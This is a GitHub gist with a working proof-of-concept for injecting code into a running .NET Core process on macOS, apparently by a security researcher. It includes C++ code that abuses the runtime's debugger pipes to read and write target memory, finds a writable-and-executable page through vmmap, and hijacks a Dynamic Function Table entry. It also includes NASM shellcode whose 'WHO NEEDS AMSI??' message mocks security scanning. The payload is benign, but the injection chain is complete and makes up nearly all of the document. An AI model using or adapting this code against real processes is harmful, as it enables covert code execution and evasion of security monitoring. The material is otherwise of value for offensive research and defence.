Skip to content

Instantly share code, notes, and snippets.

@xpn
Created September 13, 2020 22:51
Show Gist options
  • Select an option

  • Save xpn/b427998c8b3924ab1d63c89d273734b6 to your computer and use it in GitHub Desktop.

Select an option

Save xpn/b427998c8b3924ab1d63c89d273734b6 to your computer and use it in GitHub Desktop.

Revisions

  1. xpn created this gist Sep 13, 2020.
    331 changes: 331 additions & 0 deletions dotnet_inject.cpp
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,331 @@
    // Compile with g++ dotnet_injectbundle.cpp -o dotnet_injectbundle

    #include <stdio.h>
    #include <fcntl.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include "main.h"

    // libcorclr.dll signature for finding hlpDynamicFuncTable
    unsigned char signature[] = "\x66\x48\x0F\x6E\xC0\x66\x0F\x70\xC0\x44\xEB\x1E\x4C\x8B\x6D\xD0";

    // Print some troll message to console
    unsigned char shellcode[] = {
    0x80, 0x3d, 0x6b, 0x00, 0x00, 0x00, 0x01, 0x74, 0x2d, 0x50, 0x53, 0x51,
    0x52, 0x55, 0x56, 0x57, 0xb8, 0x04, 0x00, 0x00, 0x02, 0xbf, 0x01, 0x00,
    0x00, 0x00, 0x48, 0x8d, 0x35, 0x21, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00,
    0x00, 0x00, 0x0f, 0x05, 0x5f, 0x5e, 0x5d, 0x5a, 0x59, 0x5b, 0x58, 0xc6,
    0x05, 0x3c, 0x00, 0x00, 0x00, 0x01, 0x48, 0xb8, 0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41, 0xff, 0xe0, 0x0a, 0x0a, 0x57, 0x48, 0x4f, 0x20,
    0x4e, 0x45, 0x45, 0x44, 0x53, 0x20, 0x41, 0x4d, 0x53, 0x49, 0x3f, 0x3f,
    0x20, 0x3b, 0x29, 0x20, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x69, 0x6f,
    0x6e, 0x20, 0x74, 0x65, 0x73, 0x74, 0x20, 0x62, 0x79, 0x20, 0x40, 0x5f,
    0x78, 0x70, 0x6e, 0x5f, 0x0a, 0x0a, 0x00
    };

    // Headers which we will need to use throughout our session
    MessageHeader sSendHeader;
    MessageHeader sReceiveHeader;

    // Our pipe handles
    int wr, rd;

    /// Read process memory from our target
    bool readMemory(void *addr, int len, unsigned char **output) {

    *output = (unsigned char *)malloc(len);
    if (*output == NULL) {
    return false;
    }

    // Set up the message header
    sSendHeader.m_dwId++;
    sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
    sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
    sSendHeader.m_eType = MT_ReadMemory;
    sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
    sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;
    sSendHeader.m_cbDataBlock = 0;

    // Write the header
    if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
    return false;
    }

    // Read the response header
    if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
    return false;
    }

    // Make sure that memory could be read before we attempt to read further
    if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
    return false;
    }

    memset(*output, 0, len);

    // Read the memory from the debugee
    if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
    return false;
    }

    return true;
    }

    /// Write to our target process memory
    bool writeMemory(void *addr, int len, unsigned char *input) {

    // Set up the message header
    sSendHeader.m_dwId++;
    sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
    sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
    sSendHeader.m_eType = MT_WriteMemory;
    sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
    sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;
    sSendHeader.m_cbDataBlock = len;

    // Write the header
    if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
    return false;
    }

    // Write the data
    if (write(wr, input, len) < 0) {
    return false;
    }

    // Read the response header
    if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
    return false;
    }

    // Ensure our memory write was successful
    if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
    return false;
    }

    return true;

    }

    /// Create a new debugger session
    bool createSession(void) {

    SessionRequestData sDataBlock;

    // Set up our session request header
    sSendHeader.m_eType = MT_SessionRequest;
    sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
    sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
    sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

    // Set a random value for the UUID
    for(int i=0; i < sizeof(sDataBlock.m_sSessionID); i++) {
    *((char *)&sDataBlock.m_sSessionID + i) = (char)rand();
    }

    // Send our header
    if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
    return false;
    }

    // Send our UUID
    if (write(wr, &sDataBlock, sizeof(SessionRequestData)) < 0) {
    return false;
    }

    // Read the response
    if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
    return false;
    }
    return true;
    }

    /// Returns the DCB from the target
    bool getDCB(struct DebuggerIPCControlBlockTransport *dcb) {

    // Set up our header
    sSendHeader.m_dwId++;
    sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
    sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
    sSendHeader.m_eType = MT_GetDCB;
    sSendHeader.m_cbDataBlock = 0;

    if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
    return false;
    }

    if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
    return false;
    }

    if (read(rd, dcb, sReceiveHeader.m_cbDataBlock) < 0) {
    return false;
    }

    return true;
    }

    /// Hunts through memory searching for the provided signature
    int findMemorySignature(void *base, unsigned char *signature, int len) {

    unsigned char *output;
    int offset = 0xc1000; //0;

    while(true) {
    if (readMemory((char *)base + offset, len, &output) == false) {
    // If we hit a memory access violation, we probably went too far
    return -1;
    }

    if (memcmp(output, signature, len) == 0) {
    return offset;
    }

    free(output);

    offset++;

    }

    return -1;
    }

    /// Runs vmmap and finds a RWX page of memory (god damn Apple.. look what you make us do!)
    unsigned long long runVMMAP(const char *processName) {
    int link[2];
    pid_t pid;
    char *output;
    int nbytes = 1, r = 0;
    char *needle;

    output = (char *)malloc(0x10000);

    if (pipe(link)==-1)
    exit(2);

    if ((pid = fork()) == -1)
    exit(2);

    if(pid == 0) {
    dup2 (link[1], STDOUT_FILENO);
    close(link[0]);
    close(link[1]);
    execl("/usr/bin/vmmap", "vmmap", processName, (char *)0);
    exit(2);
    }

    close(link[1]);

    while(nbytes != 0) {
    nbytes = read(link[0], output + r, 0x10000);
    if (nbytes == 0x10000) {
    break;
    }
    r += nbytes;
    }
    wait(NULL);

    // Search for our RWX memory region
    if ((needle = strstr(output, "rwx/rwx")) == NULL) {
    return 0;
    }

    // Now we need to search backwards for the start of the line (GOD DAMN APPLE!!)
    while(*needle != '\n') {
    needle--;
    }

    // Now we find and extract the address at the end of the region
    while(*needle != '-') {
    needle++;
    }

    needle++;

    // Now NULL terminate the address
    *(needle + 0x10) = '\0';

    return strtoull(needle, NULL, 16);
    }

    int main(int argc, char **argv) {

    struct DebuggerIPCControlBlockTransport dcb;
    unsigned char *output;
    unsigned char *dft;
    int offset;
    int dftOffset;
    unsigned long long rwxPageAddr;

    printf("Dotnet Core Debugger Injection POC by @_xpn_\n\n");

    if (argc != 4) {
    printf("Usage: %s in-pipe out-pipe process-name\n", argv[0]);
    printf("Example: %s \"$TMPDIR/clr-debug-pipe-73013-1600035359-in\" \"$TMRDIR/clr-debug-pipe-73013-1600035359-out\" pwsh\n", argv[0]);
    return 10;
    }

    wr = open(argv[1], O_WRONLY);
    rd = open(argv[2], O_RDONLY);

    if (rd < 0 || wr < 0) {
    printf("[x] Could not open provided named pipes\n");
    return 1;
    }

    // Create debugger session
    printf("[*] Creating a session with the target\n");
    if (!createSession()) {
    printf("[x] Error: Could not create debugger session\n");
    return 1;
    }

    // Retrieve the DCB
    printf("[*] Retrieving a copy of the target DCB\n");
    if (!getDCB(&dcb)) {
    printf("[x] Error: Could not request DCB\n");
    return 2;
    }

    // Search for DFT signature in memory
    printf("[*] Base address of m_helperRemoteStartAddr: %p\n[*] Hunting for signature in target memory\n", dcb.m_helperRemoteStartAddr);
    if ((offset = findMemorySignature(dcb.m_helperRemoteStartAddr, signature, 16)) == -1) {
    printf("[x] Error: Could not find memory signature\n");
    return 3;
    }

    // Read the offset to the address table
    if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x17, 4, &output)) {
    printf("[x] Error: Could not read Dynamic Function Table from target\n");
    return 4;
    }
    dftOffset = *(int *)(output) + 0x7;
    printf("[*] Dynamic Function Table found at %p\n", (char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset);

    if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset, 0x200, (unsigned char **)&dft)) {
    printf("[x] Error: Could not read Dynamic Function Table\n");
    return 4;
    }
    printf("[*] Dynamic Function Table read\n");

    // Update our shellcode to return into the original DFT function address
    *(unsigned long long *)(shellcode + 56) = *(unsigned long long *)((char *)dft + 0x50);

    rwxPageAddr = runVMMAP(argv[3]);
    rwxPageAddr -= sizeof(shellcode);

    printf("[*] Found RWX page of memory, writing our shellcode to %p\n", rwxPageAddr);

    if (writeMemory((void*)rwxPageAddr, sizeof(shellcode), (unsigned char *)shellcode) == false) {
    printf("[x] Error: Could not write our shellcode to RWX memory\n");
    return 4;
    }

    printf("[*] Overwriting the Dynamic Function Table entry... injection complete\n");
    if (!writeMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset + 0x50, 0x8, (unsigned char *)&rwxPageAddr)) {
    printf("[x] Error: Could not write to the function table\n");
    return 5;
    }
    }
    297 changes: 297 additions & 0 deletions main.h
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,297 @@
    typedef unsigned int DWORD;
    typedef unsigned char BYTE;
    typedef unsigned char * PBYTE;
    typedef DWORD HRESULT;
    typedef unsigned short USHORT;
    typedef unsigned int ULONG;
    typedef unsigned char UCHAR;
    typedef bool BOOL;

    static const DWORD kCurrentMajorVersion = 2;
    static const DWORD kCurrentMinorVersion = 0;

    #define CorDBIPC_BUFFER_SIZE 4016

    #define MSLAYOUT __attribute__((__ms_struct__))

    enum IPCEventType
    {
    IPCET_OldStyle,
    IPCET_DebugEvent,
    IPCET_Max,
    };

    typedef struct _GUID {
    ULONG Data1; // NOTE: diff from Win32, for LP64
    USHORT Data2;
    USHORT Data3;
    UCHAR Data4[ 8 ];
    } GUID;

    enum MessageType
    {
    // Session management operations. These must come first and MT_SessionClose must be last in the group.
    MT_SessionRequest, // RS -> LS : Request a new session be formed (optionally pass encrypted data key)
    MT_SessionAccept, // LS -> RS : Accept new session
    MT_SessionReject, // LS -> RS : Reject new session, give reason
    MT_SessionResync, // RS <-> LS : Resync broken connection by informing other side which messages must be resent
    MT_SessionClose, // RS -> LS : Gracefully terminate a session

    // Debugger events.
    MT_Event, // RS <-> LS : A debugger event is being sent as the data block of the message

    // Misc management operations.
    MT_ReadMemory, // RS <-> LS : RS wants to read LS memory block (or LS is replying to such a request)
    MT_WriteMemory, // RS <-> LS : RS wants to write LS memory block (or LS is replying to such a request)
    MT_VirtualUnwind, // RS <-> LS : RS wants to LS unwind a stack frame (or LS is replying to such a request)
    MT_GetDCB, // RS <-> LS : RS wants to read LS DCB (or LS is replying to such a request)
    MT_SetDCB, // RS <-> LS : RS wants to write LS DCB (or LS is replying to such a request)
    MT_GetAppDomainCB, // RS <-> LS : RS wants to read LS AppDomainCB (or LS is replying to such a request)
    };

    enum RejectReason
    {
    RR_IncompatibleVersion, // LS doesn't support the major version asked for in the request.
    RR_AlreadyAttached, // LS already has another session open (LS only supports one session at a time)
    };

    struct MessageHeader
    {
    MessageType m_eType; // Type of message this is
    DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
    DWORD m_dwId; // Message ID assigned by the sender of this message
    DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
    DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
    DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
    // never read)

    // The rest of the header varies depending on the message type (keep the maximum size of this union
    // small since all messages will pay the overhead, large message type specific data should go in the
    // following data block).
    union
    {
    // Used by MT_SessionRequest / MT_SessionAccept.
    struct
    {
    DWORD m_dwMajorVersion; // Protocol version requested/accepted
    DWORD m_dwMinorVersion;
    } VersionInfo;

    // Used by MT_SessionReject.
    struct
    {
    RejectReason m_eReason; // Reason for rejection.
    DWORD m_dwMajorVersion; // Highest protocol version the LS supports
    DWORD m_dwMinorVersion;
    } SessionReject;

    // Used by MT_ReadMemory and MT_WriteMemory.
    struct
    {
    PBYTE m_pbLeftSideBuffer; // Address of memory to read/write on the LS
    DWORD m_cbLeftSideBuffer; // Size in bytes of memory to read/write
    HRESULT m_hrResult; // Result from LS (access can fail due to unmapped memory etc.)
    } MemoryAccess;

    // Used by MT_Event.
    struct
    {
    IPCEventType m_eIPCEventType; // multiplexing type of this IPC event
    DWORD m_eType; // Event type (useful for debugging)
    } Event;

    } TypeSpecificData;

    BYTE m_sMustBeZero[8]; // Set this to zero when initializing and never read the contents
    };

    struct SessionRequestData
    {
    GUID m_sSessionID; // Unique session ID. Treated as byte blob so no endian-ness
    };

    typedef unsigned int SIZE_T;
    typedef unsigned int RemoteHANDLE;

    struct MSLAYOUT DebuggerIPCRuntimeOffsets
    {
    #ifdef FEATURE_INTEROP_DEBUGGING
    void *m_genericHijackFuncAddr;
    void *m_signalHijackStartedBPAddr;
    void *m_excepForRuntimeHandoffStartBPAddr;
    void *m_excepForRuntimeHandoffCompleteBPAddr;
    void *m_signalHijackCompleteBPAddr;
    void *m_excepNotForRuntimeBPAddr;
    void *m_notifyRSOfSyncCompleteBPAddr;
    void *m_raiseExceptionAddr; // The address of kernel32!RaiseException in the debuggee
    DWORD m_debuggerWordTLSIndex; // The TLS slot for the debugger word used in the debugger hijack functions
    #endif // FEATURE_INTEROP_DEBUGGING
    SIZE_T m_TLSIndex; // The TLS index of the thread-local storage for coreclr.dll
    SIZE_T m_TLSEEThreadOffset; // TLS Offset of the Thread pointer.
    SIZE_T m_TLSIsSpecialOffset; // TLS Offset of the "IsSpecial" status for a thread.
    SIZE_T m_TLSCantStopOffset; // TLS Offset of the Can't-Stop count.
    SIZE_T m_EEThreadStateOffset; // Offset of m_state in a Thread
    SIZE_T m_EEThreadStateNCOffset; // Offset of m_stateNC in a Thread
    SIZE_T m_EEThreadPGCDisabledOffset; // Offset of the bit for whether PGC is disabled or not in a Thread
    DWORD m_EEThreadPGCDisabledValue; // Value at m_EEThreadPGCDisabledOffset that equals "PGC disabled".
    SIZE_T m_EEThreadFrameOffset; // Offset of the Frame ptr in a Thread
    SIZE_T m_EEThreadMaxNeededSize; // Max memory to read to get what we need out of a Thread object
    DWORD m_EEThreadSteppingStateMask; // Mask for Thread::TSNC_DebuggerIsStepping
    DWORD m_EEMaxFrameValue; // The max Frame value
    SIZE_T m_EEThreadDebuggerFilterContextOffset; // Offset of debugger's filter context within a Thread Object.
    SIZE_T m_EEFrameNextOffset; // Offset of the next ptr in a Frame
    DWORD m_EEIsManagedExceptionStateMask; // Mask for Thread::TSNC_DebuggerIsManagedException
    void *m_pPatches; // Addr of patch table
    BOOL *m_pPatchTableValid; // Addr of g_patchTableValid
    SIZE_T m_offRgData; // Offset of m_pcEntries
    SIZE_T m_offCData; // Offset of count of m_pcEntries
    SIZE_T m_cbPatch; // Size per patch entry
    SIZE_T m_offAddr; // Offset within patch of target addr
    SIZE_T m_offOpcode; // Offset within patch of target opcode
    SIZE_T m_cbOpcode; // Max size of opcode
    SIZE_T m_offTraceType; // Offset of the trace.type within a patch
    DWORD m_traceTypeUnmanaged; // TRACE_UNMANAGED
    };

    // DCB
    struct MSLAYOUT DebuggerIPCControlBlock
    {
    // Version data should be first in the control block to ensure that we can read it even if the control block
    // changes.
    SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized
    ULONG m_verMajor; // CLR build number for the Left Side.
    ULONG m_verMinor; // CLR build number for the Left Side.

    // This next stuff fits in a DWORD.
    bool m_checkedBuild; // CLR build type for the Left Side.
    // using the first padding byte to indicate if hosted in fiber mode.
    // We actually just need one bit. So if needed, can turn this to a bit.
    // BYTE padding1;
    bool m_bHostingInFiber;
    BYTE padding2;
    BYTE padding3;

    ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side.
    ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support.

    ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side.
    ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires.

    HRESULT m_errorHR;
    unsigned int m_errorCode;

    // 64-bit needs this padding to make the handles after this aligned.
    // But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0.
    ULONG padding4;


    RemoteHANDLE m_rightSideEventAvailable;
    RemoteHANDLE m_rightSideEventRead;

    // @dbgtodo inspection - this is where LSEA and LSER used to be. We need to the padding to maintain binary compatibility.
    // Eventually, we expect to remove this whole block.
    RemoteHANDLE m_paddingObsoleteLSEA;
    RemoteHANDLE m_paddingObsoleteLSER;

    RemoteHANDLE m_rightSideProcessHandle;

    //.............................................................................
    // Everything above this point must have the exact same binary layout as v1.1.
    // See protocol details below.
    //.............................................................................

    RemoteHANDLE m_leftSideUnmanagedWaitEvent;



    // This is set immediately when the helper thread is created.
    // This will be set even if there's a temporary helper thread or if the real helper
    // thread is not yet pumping (eg, blocked on a loader lock).
    DWORD m_realHelperThreadId;

    // This is only published once the helper thread starts running in its main loop.
    // Thus we can use this field to see if the real helper thread is actually pumping.
    DWORD m_helperThreadId;

    // This is non-zero if the LS has a temporary helper thread.
    DWORD m_temporaryHelperThreadId;

    // ID of the Helper's canary thread.
    DWORD m_CanaryThreadId;

    DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets;
    void *m_helperThreadStartAddr;
    void *m_helperRemoteStartAddr;
    DWORD *m_specialThreadList;

    BYTE m_receiveBuffer[CorDBIPC_BUFFER_SIZE];
    BYTE m_sendBuffer[CorDBIPC_BUFFER_SIZE];

    DWORD m_specialThreadListLength;
    bool m_shutdownBegun;
    bool m_rightSideIsWin32Debugger; // RS status
    bool m_specialThreadListDirty;

    bool m_rightSideShouldCreateHelperThread;
    };

    struct MSLAYOUT DebuggerIPCControlBlockTransport
    {
    // Version data should be first in the control block to ensure that we can read it even if the control block
    // changes.
    SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized
    ULONG m_verMajor; // CLR build number for the Left Side.
    ULONG m_verMinor; // CLR build number for the Left Side.

    // This next stuff fits in a DWORD.
    bool m_checkedBuild; // CLR build type for the Left Side.
    // using the first padding byte to indicate if hosted in fiber mode.
    // We actually just need one bit. So if needed, can turn this to a bit.
    // BYTE padding1;
    bool m_bHostingInFiber;
    BYTE padding2;
    BYTE padding3;

    ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side.
    ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support.

    ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side.
    ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires.

    HRESULT m_errorHR;
    unsigned int m_errorCode;


    // 64-bit needs this padding to make the handles after this aligned.
    // But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0.
    ULONG padding4;


    // This is set immediately when the helper thread is created.
    // This will be set even if there's a temporary helper thread or if the real helper
    // thread is not yet pumping (eg, blocked on a loader lock).
    DWORD m_realHelperThreadId;

    // This is only published once the helper thread starts running in its main loop.
    // Thus we can use this field to see if the real helper thread is actually pumping.
    DWORD m_helperThreadId;

    // This is non-zero if the LS has a temporary helper thread.
    DWORD m_temporaryHelperThreadId;

    // ID of the Helper's canary thread.
    DWORD m_CanaryThreadId;

    DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets;
    void *m_helperThreadStartAddr;
    void *m_helperRemoteStartAddr;
    DWORD *m_specialThreadList;

    DWORD m_specialThreadListLength;
    bool m_shutdownBegun;
    bool m_rightSideIsWin32Debugger; // RS status
    bool m_specialThreadListDirty;

    bool m_rightSideShouldCreateHelperThread;

    };
    42 changes: 42 additions & 0 deletions shellcode.asm
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,42 @@
    [BITS 64]

    ; Compile with "nasm shellcode.asm -o shellcode.bin -fbin"
    ; Convert to C with "xxd -i ./shellcode.bin"

    global _main

    section .text
    _main:
    _start:
    cmp byte [rel already_run], 1
    je skip
    push rax
    push rbx
    push rcx
    push rdx
    push rbp
    push rsi
    push rdi
    mov rax, 0x2000004
    mov rdi, 1
    lea rsi, [rel msg]
    mov rdx, msg.len
    syscall

    pop rdi
    pop rsi
    pop rbp
    pop rdx
    pop rcx
    pop rbx
    pop rax
    mov byte [rel already_run], 1

    skip:
    mov rax, 0x4141414141414141
    jmp rax

    msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa
    .len: equ $ - msg
    already_run: db 0